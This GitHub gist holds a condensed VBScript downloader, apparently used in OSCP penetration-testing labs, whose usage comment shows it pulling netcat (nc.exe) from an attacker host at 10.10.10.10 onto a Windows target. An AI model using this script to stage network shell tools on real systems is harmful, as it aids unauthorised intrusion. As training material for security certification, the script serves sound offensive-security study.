Skip to content

Instantly share code, notes, and snippets.

@mike-pete
Created January 28, 2020 17:34
Show Gist options
  • Save mike-pete/1924c049204f145affb440502c487ed5 to your computer and use it in GitHub Desktop.
Save mike-pete/1924c049204f145affb440502c487ed5 to your computer and use it in GitHub Desktop.
'OSCP example download script shortened and condensed into two lines
'download.vbs http://10.10.10.10/nc.exe nc.exe
Dim http, varByteArray, strData, strBuffer, i, ts : Set http = Nothing : Set http = CreateObject("WinHttp.WinHttpRequest.5.1") : If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") : If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") : If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP")
http.Open "GET", WScript.Arguments.Item(0), False : http.Send : Set ts = CreateObject("Scripting.FileSystemObject").CreateTextFile(WScript.Arguments.Item(1), True) : strData = "" : strBuffer = "" : For i = 0 to UBound(http.ResponseBody) : ts.Write Chr(255 And Ascb(Midb(http.ResponseBody,i + 1, 1))) : Next : ts.Close
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment